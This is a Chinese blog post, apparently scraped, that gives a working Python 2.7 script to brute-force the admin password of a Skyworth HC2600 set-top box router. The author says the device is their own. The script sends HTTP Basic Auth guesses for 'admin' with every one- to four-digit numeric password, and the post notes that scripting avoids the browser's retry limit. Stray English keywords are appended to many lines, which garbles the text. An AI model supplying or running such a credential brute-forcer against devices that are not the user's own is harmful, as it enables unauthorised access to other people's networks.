[小技巧] Python 腳本暴力破解 HC2600 機頂盒管理密碼

家裏最近接入了廣電有線電視,配了三個創維 HC2600 機頂盒,而且每一個機頂盒還帶有無線路由器功能。python

免費贈送 Internet 接入服務倒也沒什麼,不過機頂盒內置的 WIFI 實在有點寒酸:只支持 2.4 GHz 頻段下 802.11n 150 Mbps 速率的傳輸。2.4 GHz 頻段原本就很擁擠,用戶體驗並很差,要是和支持 802.11 ac 的雙頻無線路由器混用的話,恐怕反而會由於干擾起到副作用。瀏覽器

然而要對 HC2600 機頂盒做任何配置修改,都須要管理員密碼。網上搜索到 HC2600 的管理員用戶名貌似是 admin (後來證明也的確如此),可是密碼則沒法肯定。socket

因此我就編寫了一個 Python 腳本進行暴力嘗試。破解步驟以下:url

首先把電腦經過網線鏈接到機頂盒的 Ethernet 接口,電腦會經過 DHCP 自動獲取獲得 IP 地址。spa

而後安裝最新版的 Python 2.7,而且新建一個文件 tvbox.py 輸入如下內容:code

import base64, socket, urllib2

def login(url, username, password):
    while True:
        try:
            request1 = urllib2.Request(url)
            response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code != 401:
                raise
            else:
                break

    while True:
        try:
            request2 = urllib2.Request(url)
            base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
            request2.add_header("Authorization", "Basic %s" % base64string)
            response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
            return True
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code == 401:
                return False

def main():
    for length in range(1, 5):
        end = 10 ** length

        print "Trying length %d (start = 0, end = %d)" % (length, end)

        for i in range(0, end):
            pattern = "%%0%dd" % length
            password = pattern % i

            if login("http://192.168.99.1", "admin", password):
                print "Password found: %s" % password
                break
            else:
                print "%s" % password

main()

上面的文件中,假定機頂盒中路由器的地址是 192.168.99.1,若是你的配置不一樣,須要修改  tvbox.py 中第 41 行代碼。blog

肯定無誤後,運行 tvbox.py 便可。接口

上面的腳本嘗試了 0-九、00-9九、000-99九、0000-9999 這 11110 個純數字密碼,目測破解速度在每秒 100 次左右。路由

PS:若是使用瀏覽器嘗試登陸,密碼錯誤三次後須要刷新才能繼續嘗試。這是瀏覽器設定的限制,使用腳本的話並無這樣的限制。string

……

結果出乎意料,很快密碼就出來了:0000,多虧了安裝人員圖省事。要是真的要掃遍 8 位純數字密碼的全部可能性,恐怕要花十幾天。

小提示:上面的腳本只適用於 Python 2.7,若是你用的是其它版本,可能須要對代碼作少量修改。

相關文章
相關標籤/搜索